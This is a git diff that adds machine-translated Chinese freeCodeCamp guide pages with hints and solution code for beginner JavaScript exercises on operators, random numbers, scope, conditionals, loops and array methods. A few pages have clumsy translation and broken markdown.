diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/finding-a-remainder-in-javascript/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/finding-a-remainder-in-javascript/index.md
new file mode 100644
index 0000000000..b0ebec9c71
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/finding-a-remainder-in-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding a Remainder in JavaScript
+localeTitle: 在JavaScript中查找剩余内容
+---
+# 在JavaScript中查找剩余内容
+
+余数运算符`%`给出了两个数的除法的余数。
+```
+var remainder = 11 % 3; //remainder gets the value 2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-fractions-with-javascript/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-fractions-with-javascript/index.md
new file mode 100644
index 0000000000..6e21ab05a9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-fractions-with-javascript/index.md
@@ -0,0 +1,38 @@
+---
+title: Generate Random Fractions with JavaScript
+localeTitle: 使用JavaScript生成随机分数
+---
+# 使用JavaScript生成随机分数
+
+随机数对于创建随机行为很有用。
+
+JavaScript有一个`Math.random()`函数，它生成一个介于0（含）和不高达1（独占）之间的随机十进制数。因此， `Math.random()`可以返回0，但永远不会返回1。
+
+## 注意
+
+与使用Equal运算符存储值一样，所有函数调用将在返回执行之前解析，因此我们可以返回`Math.random()`函数的值。
+
+## 说明
+
+更改randomFraction以返回随机数而不是返回0。
+
+## **警告 ！！！**
+
+### **扰流警报!!**
+
+一个解决方案：
+```
+function randomFraction() { 
+  // Only change code below this line. 
+  var result = 0; 
+  // Math.random() can generate 0. We don't want to     return a 0, 
+  // so keep generating random numbers until we get one     that isn't 0 
+  while (result === 0) { 
+    result = Math.random(); 
+  } 
+ 
+  return result; 
+  // Only change code above this line. 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-with-javascript/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..3517e1621e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-with-javascript/index.md
@@ -0,0 +1,9 @@
+---
+title: Generate Random Whole Numbers with JavaScript
+localeTitle: 使用JavaScript生成随机整数
+---
+## 使用JavaScript生成随机整数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-with-javascript/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-within-a-range/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-within-a-range/index.md
new file mode 100644
index 0000000000..6626a51a61
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-within-a-range/index.md
@@ -0,0 +1,9 @@
+---
+title: Generate Random Whole Numbers within a Range
+localeTitle: 生成范围内的随机整数
+---
+## 生成范围内的随机整数
+
+**帮助通过最终测试：** _`randomRange`应该同时使用`myMax`和`myMin` ，并在你的范围内返回一个随机数。_
+
+如果您只是在`randomRange`公式中重复使用函数`ourRandomRange`则无法通过最终测试。您需要编写自己的公式，使用变量`myMax`和`myMin` 。它将使用`ourRandomRange`执行相同的工作，但确保您已了解`Math.floor()`和`Math.random()`函数的原理。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-scope-and-functions/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-scope-and-functions/index.md
new file mode 100644
index 0000000000..ad9efa3244
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-scope-and-functions/index.md
@@ -0,0 +1,62 @@
+---
+title: Global Scope and Functions
+localeTitle: 全球范围和职能
+---
+## 全球范围和职能
+
+变量的范围是它的可见性;代码中的哪个部分是可用的功能？以下是变量可以具有的不同范围的列表。
+
+*   **全局范围** ：该变量在整个代码中可用
+*   **本地范围** ：仅在某个区域可用（仅在功能内）
+*   **块范围** ：在_更_确定的区域内可用（如if语句）
+
+您的任务是了解如何在变量名称之前添加`var` （而不是添加），可以更改变量的范围。
+
+在变量名称之前添加`var` ，其范围取决于放置位置。像这样：
+
+```javascript
+var num1 = 18; // Global scope 
+ function fun() { 
+  var num2 = 20; // Local (Function) Scope 
+  if (true) { 
+    var num3 = 22; // Block Scope (within an if-statement) 
+  } 
+ } 
+```
+
+如果不这样做，结果如下：
+
+```javascript
+num1 = 18; // Global scope 
+ function fun() { 
+  num2 = 20; // Global Scope 
+  if (true) { 
+    num3 = 22; // Global Scope 
+  } 
+ } 
+```
+
+好的，这是基本的代码解决方案。
+
+```javascript
+// Declare your variable here 
+ var myGlobal = 10; 
+ 
+ function fun1() { 
+  oopsGlobal = 5; 
+ 
+ } 
+ 
+ // Only change code above this line 
+ function fun2() { 
+  var output = ""; 
+  if (typeof myGlobal != "undefined") { 
+    output += "myGlobal: " + myGlobal; 
+  } 
+  if (typeof oopsGlobal != "undefined") { 
+    output += " oopsGlobal: " + oopsGlobal; 
+  } 
+  console.log(output); 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-vs.-local-scope-in-functions/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-vs.-local-scope-in-functions/index.md
new file mode 100644
index 0000000000..332b473653
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-vs.-local-scope-in-functions/index.md
@@ -0,0 +1,22 @@
+---
+title: Global vs. Local Scope in Functions
+localeTitle: 功能中的全局与局部范围
+---
+## 功能中的全局与局部范围
+
+请记住，全局范围意味着变量在整个代码中都可用。局部范围，表示变量在一定范围内可用。
+
+在本练习中，您在全局范围内有一个`outerWear`变量，其中包含“T-shirt”值。您现在应该创建另一个名为`outerWear`变量，但这次是在函数`myOutfit()` 。基本代码解决方案如下：
+
+```javascript
+var outerWear = "T-shirt"; 
+ 
+ function myOutfit() { 
+  var outerWear = "sweater"; 
+  return outerWear; 
+ } 
+ 
+ myOutfit(); 
+```
+
+该函数将返回它可以找到的最近的`outerWear` 。由于我们在函数内部创建了一个`outerWear` ，即'最接近'，因此该函数将返回“sweater”。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/golf-code/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/golf-code/index.md
new file mode 100644
index 0000000000..880addae0a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/golf-code/index.md
@@ -0,0 +1,125 @@
+---
+title: Golf Code
+localeTitle: 高尔夫码
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+在高尔夫比赛中，每个洞都具有**标准**意义，即高尔夫球手为了将球沉入洞中以完成比赛所期望的平均**击球**次数。根据你的**笔画**高出或低于**标准杆**的距离，有一个不同的昵称。
+
+您的函数将通过**par**和**stroke**参数。您必须根据此表返回正确的字符串，该表按优先级顺序列出笔划;顶部（最高）到底部（最低）：
+
+笔画|返回  
+：--------- | ：-------------  
+1 | “一杆进洞！”  
+<= par - 2 | “鹰”  
+par - 1 | “小鸟”  
+帕尔| “相提并论”  
+par + 1 | “柏忌”  
+par + 2 | “双柏忌” > = par + 3 | “回家！”
+
+**标准杆**和**笔画**将始终为数字和正数。
+
+*   更改下面的代码`// Only change code below this line`以上的代码`// Only change code below this line`以上的`// Only change code above this line` 。
+*   确保您正在编辑`golfScore`功能的内部。
+*   您必须使函数返回与表中所示的完全相同的字符串，具体取决于传递给函数的参数**par**和**笔画**的值。
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+`+number -number`可用于增加或减少条件中的参数。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+您可以使用`if / else if` chains在不同的场景中返回不同的值。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+根据表的优先级顺序控制函数流 - 顶部（最高）到底部（最低）以返回匹配的字符串值。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function golfScore(par, strokes) { 
+  // Only change code below this line 
+  if (strokes == 1){ 
+    return "Hole-in-one!"; 
+  } else if (strokes <= par -2){ 
+    return "Eagle"; 
+  } else if (strokes == par -1) { 
+    return "Birdie"; 
+  } else if (strokes == par) { 
+    return "Par"; 
+  } else if (strokes == par +1) { 
+    return "Bogey"; 
+  } else if (strokes == par +2) { 
+    return "Double Bogey"; 
+  } else { 
+    return "Go Home!"; 
+  } 
+  // Only change code above this line 
+ } 
+ // Change these values to test 
+ golfScore(5, 4); 
+```
+
+### 代码说明：
+
+*   比较参数**par**和**stroke**以返回适当的字符串值。
+*   `if / else if` chain用于流量控制。
+*   字符串“回家！”对于**笔划**大于或等于**par + 3的**每个条件都会返回。
+
+## 替代代码解决方案
+
+```javascript
+var names = ["Hole-in-one!", "Eagle", "Birdie", "Par", "Bogey", "Double Bogey", "Go Home!"]; 
+ function golfScore(par, strokes) { 
+  // Only change code below this line 
+  if (strokes == 1){ 
+    return names[0]; 
+  } 
+  else if (strokes <= par-2){ 
+    return names[1]; 
+  } 
+  else if (strokes == par -1){ 
+    return names[2]; 
+  } 
+  else if (strokes == par){ 
+    return names[3]; 
+  } 
+  else if (strokes == par +1){ 
+    return names[4]; 
+  } 
+  else if (strokes == par +2){ 
+    return names[5]; 
+  } 
+  else {return names[6];} 
+  // Only change code above this line 
+ } 
+ 
+ // Change these values to test 
+ golfScore(5, 4); 
+```
+
+·在[repl.it](https://repl.it/@AdrianSkar/Basic-JS-Golf-code)运行
+
+##代码说明 由于我们已经在变量`names`定义了一个数组，我们可以利用它并将它用于使用索引的返回语句（例如： `names[0] is the first one` ）。这样，如果您需要更改特定结果，则不需要在函数内部查找它，它将位于数组的开头。
+
+### 资源
+
+*   [高尔夫球](https://en.wikipedia.org/wiki/Golf)
+*   [挑战：链接如果其他声明](http://www.freecodecamp.com/challenges/chaining-if-else-statements)
+*   [挑战：与大于等于运营商的比较](http://www.freecodecamp.com/challenges/comparison-with-the-greater-than-equal-to-operator)
+*   [挑战：与小于等于运营商的比较](http://www.freecodecamp.com/challenges/comparison-with-the-less-than-equal-to-operator)
+*   [“Array” - _MDN JavaScript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/increment-a-number-with-javascript/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/increment-a-number-with-javascript/index.md
new file mode 100644
index 0000000000..37f5b8e399
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/increment-a-number-with-javascript/index.md
@@ -0,0 +1,13 @@
+---
+title: Increment a Number with JavaScript
+localeTitle: 使用JavaScript增加数字
+---
+## 使用JavaScript增加数字
+
+您可以使用'++'增量运算符轻松地将（添加一个）增加到数字变量。例如：
+```
+var a = 6; 
+ a++; // Now, 'a' is equal to 7 -- post-fixing 
+ ++a; // Now, 'a' is equal to 8 -- pre-fixing 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/index.md
new file mode 100644
index 0000000000..6321a3ccbd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Javascript
+localeTitle: 基本的Javascript
+---
+## 基本的Javascript
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/initializing-variables-with-the-assignment-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/initializing-variables-with-the-assignment-operator/index.md
new file mode 100644
index 0000000000..0186ec0200
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/initializing-variables-with-the-assignment-operator/index.md
@@ -0,0 +1,11 @@
+---
+title: Initializing Variables with the Assignment Operator
+localeTitle: 使用赋值运算符初始化变量
+---
+## 使用赋值运算符初始化变量
+
+**初始化**变量是为了给它一个初始值。你可以像这样声明和初始化一个变量：
+```
+var num = 5; // This is equal to 5 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-if-statements/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-if-statements/index.md
new file mode 100644
index 0000000000..558f4c6977
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-if-statements/index.md
@@ -0,0 +1,63 @@
+---
+title: Introducing Else If statements
+localeTitle: 介绍Else If语句
+---
+## 介绍Else If语句
+
+如果卡住，请记得使用Read-Search-Ask。尝试配对程序并编写自己的代码。
+
+###问题解释：
+
+```javascript
+function testElseIf(val) { 
+  if (val > 10) { 
+    return "Greater than 10"; 
+  } 
+ 
+  if (val < 5) { 
+    return "Smaller than 5"; 
+  } 
+ 
+  return "Between 5 and 10"; 
+ } 
+ 
+ // Change this value to test 
+ testElseIf(7); 
+```
+
+我们将修改上面的现有代码，以便它遵循**else-if**语句具有的逻辑流程。
+
+###提示：1 `javascript if (val > 10) { return "Greater than 10"; }` 所有`if`语句及其变体都以`if`语句开头。
+
+> _现在尝试解决问题_
+
+###提示：2 `javascript else if (val < 5) { return "Smaller than 5"; }` 该之间的语句`if`语句和`else`报表的**其他，如果**流是在else，如果格式
+
+> _现在尝试解决问题_
+
+###提示：3 `javascript else { return "Between 5 and 10"; }` **else-if**流中的最后一个语句是`else`格式 ###扰流警报！ ![扰流板](http://discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif) 提前解决！ ##基本代码解决方案：
+
+```javascript
+function testElseIf(val) { 
+  if (val > 10) { 
+    return "Greater than 10"; 
+  } 
+ 
+  else if (val < 5) { 
+    return "Smaller than 5"; 
+  } 
+ 
+  else { 
+  return "Between 5 and 10"; 
+  } 
+ } 
+ 
+ // Change this value to test 
+ testElseIf(7); 
+```
+
+：rocket： [运行代码](https://repl.it/@RyanPisuena/GoldenWorriedRuntime) ##代码说明 **else-if逻辑流**的结构是一个初始`if`语句，一个`if-else`语句和一个final `else`语句。
+
+### 资源
+
+*   [“if ... else” - _MDN JavaScript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-statements/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-statements/index.md
new file mode 100644
index 0000000000..d55ad91f8a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-statements/index.md
@@ -0,0 +1,58 @@
+---
+title: Introducing Else statements
+localeTitle: 介绍Else语句
+---
+## 介绍Else语句
+
+### 问题解释：
+
+· _将`if`语句组合到单个`if/else`语句中。_
+
+#### 提示1
+
+当第一个`if`语句返回`false` ，执行/评估下一段代码（如`return` ， `if`或`else`语句）。
+
+> _现在尝试解决问题_
+
+#### 提示2
+
+有时`if` （ `condition` ）语句可以用`else {code to execute instead}`语句`else {code to execute instead}` （实质上你告诉你的函数做_“y”，_如果它不能做_“x”_而不是多次指定_“x”_ ）。
+
+> _现在尝试解决问题_
+
+## 扰流板警报！
+
+**提前解决！**
+
+## 基本代码解决方案
+
+```javascript
+function testElse(val) { 
+  var result = ""; 
+  // Only change code below this line 
+ 
+  if (val > 5) { 
+    result = "Bigger than 5"; 
+  } 
+ 
+  else { 
+    result = "5 or smaller"; 
+  } 
+ 
+  // Only change code above this line 
+  return result; 
+ } 
+ 
+ // Change this value to test 
+ testElse(4); 
+```
+
+· [在repl.it上运行代码](https://repl.it/@AdrianSkar/Introducing-else-statements)
+
+### 代码说明
+
+功能首先评估`if`条件`val > 5`的计算结果为`true` 。如果没有，则执行下一个语句（ `else { return "5 or smaller";})` 。
+
+### 资源
+
+*   [“if ... else” - _MDN JavaScript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-odd-numbers-with-a-for-loop/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-odd-numbers-with-a-for-loop/index.md
new file mode 100644
index 0000000000..932f721276
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-odd-numbers-with-a-for-loop/index.md
@@ -0,0 +1,38 @@
+---
+title: Iterate Odd Numbers With a For Loop
+localeTitle: 使用For循环迭代奇数
+---
+## 使用For循环迭代奇数
+
+这是一个例子：
+
+```javascript
+var ourArray = []; 
+ 
+ for (var i = 0; i < 10; i += 2) { 
+  ourArray.push(i); 
+ } 
+ 
+ // Setup 
+ var myArray = []; 
+ 
+ // Only change code below this line. 
+```
+
+这是一个解决方案： 字符串后`// Only change code below this line.`我们添加`for`循环。你需要从顶部复制循环：
+
+`javascript for (var i = 0; i < 10; i += 2) { ourArray.push(i); }` 而改变`initialization` `var i = 0`至`var i = 1` ，也需要更改数组名`ourArray`到`myArray` ：
+
+`javascript for (var i = 1; i < 10; i += 2) { myArray.push(i); }`
+
+这是一个完整的解决方案：
+
+\`\`\`的JavaScript var ourArray = \[\];
+
+for（var i = 0; i <10; i + = 2）{ ourArray.push（ⅰ）; }
+
+// 建立 var myArray = \[\];
+
+//只更改此行下方的代码。
+
+for（var i = 1; i <10; i + = 2）{ myArray.push（ⅰ）; } \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop/index.md
new file mode 100644
index 0000000000..4bc013c71e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop/index.md
@@ -0,0 +1,9 @@
+---
+title: Iterate Through an Array with a For Loop
+localeTitle: 使用For循环遍历数组
+---
+## 使用For循环遍历数组
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-do...while-loops/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-do...while-loops/index.md
new file mode 100644
index 0000000000..e97096db59
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-do...while-loops/index.md
@@ -0,0 +1,20 @@
+---
+title: Iterate with JavaScript Do...While Loops
+localeTitle: 使用JavaScript迭代...循环
+---
+## 使用JavaScript迭代...循环
+
+*   `Do...While`循环确保代码至少执行一次，并且在执行之后，如果`while()`内的条件为**真** ，则继续循环，否则停止。
+
+## 解
+
+```javascript
+var myArray = []; 
+ var i = 10; 
+ 
+ do { 
+  myArray.push(i); 
+  i++; 
+ } while(i <= 10); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops/index.md
new file mode 100644
index 0000000000..93747a1566
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops/index.md
@@ -0,0 +1,9 @@
+---
+title: Iterate with JavaScript For Loops
+localeTitle: 使用JavaScript迭代循环
+---
+## 使用JavaScript迭代循环
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-while-loops/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-while-loops/index.md
new file mode 100644
index 0000000000..76d65852e7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-while-loops/index.md
@@ -0,0 +1,40 @@
+---
+title: Iterate with JavaScript While Loops
+localeTitle: 在循环时使用JavaScript进行迭代
+---
+## 在循环时使用JavaScript进行迭代
+
+只要（）内的条件为真，循环就会运行。 例：
+
+```javascript
+while(condition){ 
+ code... 
+ } 
+```
+
+## 提示1：
+
+在您的条件中使用迭代器变量，例如i
+
+```javascript
+var i = 0; 
+ while(i <= 4){ 
+ } 
+```
+
+## Spoiler提醒解决方案！
+
+## 解：
+
+```javascript
+// Setup 
+ var myArray = []; 
+ 
+ // Only change code below this line. 
+ var i = 0; 
+ while (i <= 4){ 
+    myArray.push(i); 
+    i++; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/local-scope-and-functions/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/local-scope-and-functions/index.md
new file mode 100644
index 0000000000..f773ace3bd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/local-scope-and-functions/index.md
@@ -0,0 +1,19 @@
+---
+title: Local Scope and Functions
+localeTitle: 本地范围和功能
+---
+## 本地范围和功能
+
+局部范围意味着变量在某个区域内可用。在本练习中， `myVar`仅在函数内可用，而不在外部。
+
+以下是创建本地`myVar`变量的基本代码解决方案。
+
+```javascript
+function myLocalScope() { 
+  var myVar; 
+  console.log(myVar); 
+ } 
+ myLocalScope(); 
+```
+
+该变量仅存在于函数中。在函数之外，它是不存在的。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/logical-order-in-if-else-statements/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/logical-order-in-if-else-statements/index.md
new file mode 100644
index 0000000000..d47e32e19e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/logical-order-in-if-else-statements/index.md
@@ -0,0 +1,9 @@
+---
+title: Logical Order in If Else Statements
+localeTitle: 如果其他陈述中的逻辑顺序
+---
+## 如果其他陈述中的逻辑顺序
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/logical-order-in-if-else-statements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-pop/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-pop/index.md
new file mode 100644
index 0000000000..9fc3aed124
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-pop/index.md
@@ -0,0 +1,25 @@
+---
+title: Manipulate Arrays With pop()
+localeTitle: 使用pop（）操作数组
+---
+## 使用pop（）操作数组
+
+## 问题解释
+
+摆脱数组中的最后一个元素。然后，将该骑行元素分配给`removedFromMyArray` 。
+
+## 提示1：
+
+在数组上调用`.pop()` ，并将其分配给`removedFromMyArray` 。
+
+## 扰流板！代码解决方案
+
+```javascript
+var removedFromMyArray = myArray.pop(); 
+ ======= 
+ Remove the last element of an array with the pop() method, like so: 
+```
+
+JavaScript的 var arr = \[1,2,3,4,5\]; arr.pop（）; //这摆脱了5
+
+\`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-push/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-push/index.md
new file mode 100644
index 0000000000..06eed848a1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-push/index.md
@@ -0,0 +1,13 @@
+---
+title: Manipulate Arrays With push()
+localeTitle: 用push（）操纵数组
+---
+## 用push（）操纵数组
+
+`push()`方法允许您将元素追加（添加到末尾）到数组。像这样......
+
+```javascript
+var arr = [1, 2, 3, 4]; 
+ arr.push(5); // Now, the array is [1, 2, 3, 4, 5] 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-shift/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-shift/index.md
new file mode 100644
index 0000000000..ea2420d2d6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-shift/index.md
@@ -0,0 +1,13 @@
+---
+title: Manipulate Arrays With shift()
+localeTitle: 使用shift（）操纵数组
+---
+## 使用shift（）操纵数组
+
+虽然`pop()`用于删除数组的最后一个元素，但`shift()`用于删除第一个元素。这就像你将元素向下移动一个位置。看一下这个：
+
+```javascript
+var arr = [1, 2, 3, 4, 5]; 
+ arr.shift(); // Gets rid of the 1 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-unshift/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-unshift/index.md
new file mode 100644
index 0000000000..cb69ffa695
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-unshift/index.md
@@ -0,0 +1,13 @@
+---
+title: Manipulate Arrays With unshift()
+localeTitle: 使用unshift操作数组（）
+---
+## 使用unshift操作数组（）
+
+当`push()`向元素的后面添加元素时， `unshift()`会将它们添加到前面。你所要做的就是：
+
+```javascript
+var arr = [2, 3, 4, 5]; 
+ arr.unshift(1); // Now, the array has 1 in the front 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulating-complex-objects/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulating-complex-objects/index.md
new file mode 100644
index 0000000000..2ffbbe99b8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulating-complex-objects/index.md
@@ -0,0 +1,70 @@
+---
+title: Manipulating Complex Objects
+localeTitle: 操纵复杂对象
+---
+## 操纵复杂对象
+
+这是一个例子：
+
+```javascript
